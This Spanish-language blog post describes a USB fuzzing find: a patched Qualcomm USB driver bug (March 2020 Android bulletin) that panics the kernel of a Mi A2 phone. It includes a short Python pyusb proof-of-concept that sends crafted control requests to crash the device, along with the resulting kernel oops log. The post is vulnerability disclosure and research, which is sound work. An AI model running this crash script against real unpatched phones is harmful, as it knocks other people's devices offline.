
Fuzzing de dispositivos USB en teléfonos Android
Esta publicación de blog trata sobre un error simple que encontré en mi dispositivo Android (MI A2 - ejecuta Android de stock) mediante fuzzing de dispositivos USB y que Google marcó como de gravedad alta. El error estaba en el controlador USB de Qualcomm, que luego fue parcheado y divulgado en el boletín de Android de marzo de 2020. Sobre la vulnerabilidad: cuando envías solicitudes USB manipuladas al teléfono Android, se bloquea el kernel de Android y el teléfono se reinicia.
Este error se debía a una variable no inicializada utilizada en el gadget USB "core.c". Los detalles sobre la vulnerabilidad se pueden encontrar en el aviso de seguridad de Qualcomm y en el boletín de Android de marzo de 2020.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
Los teléfonos Android admiten modos de dispositivo y host; en el modo dispositivo puedes conectar tu móvil a un PC mediante un cable USB y compartir imágenes, música desde tu teléfono al PC con diferentes modos de conectividad USB (como solo carga, MTP). En el modo host puedes conectar un auricular, una memoria USB usando un cable OTG, donde tus dispositivos actúan como cliente y tu teléfono Android actúa como host.
La vulnerabilidad se encontró simplemente aleatorizando los parámetros de control USB como bmRequestType, bRequest, wValue (bDescriptorType: bDescriptorIndex), wIndex y wLength y enviándolos al dispositivo Android. Al enviar una secuencia de solicitudes de control desde el host Linux a Android (como se ve en el script a continuación), el controlador del dispositivo USB en el teléfono lo analiza y provoca un pánico en el kernel.
Puedes ver el siguiente video para comprender la descripción general de USB y el fuzzing de Andrey Konovalov en Offensive-con 2019, y también los conceptos básicos del protocolo USB: USB 101: Introducción al Bus Serie Universal 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
Chipsets afectados: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Pasos para reproducir esta vulnerabilidad si no has actualizado tu teléfono con el parche de Android de marzo de 2020.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
Además, los registros del fallo no explican la razón detrás del fallo. Así que planeo añadir KASAN a la compilación en mi nuevo Pixel y mejorar mi fuzzing de dispositivos con técnicas de instrumentación adecuadas, como monitorear los registros de fallos durante el fuzzing. También libusb no permite emitir solicitudes de control grandes y la mayoría de las veces se recortan. Así que planeo probar con el ejemplo de Kate Temkin (fusee_gelee) de usar ioctl para enviar comandos directamente al controlador USB.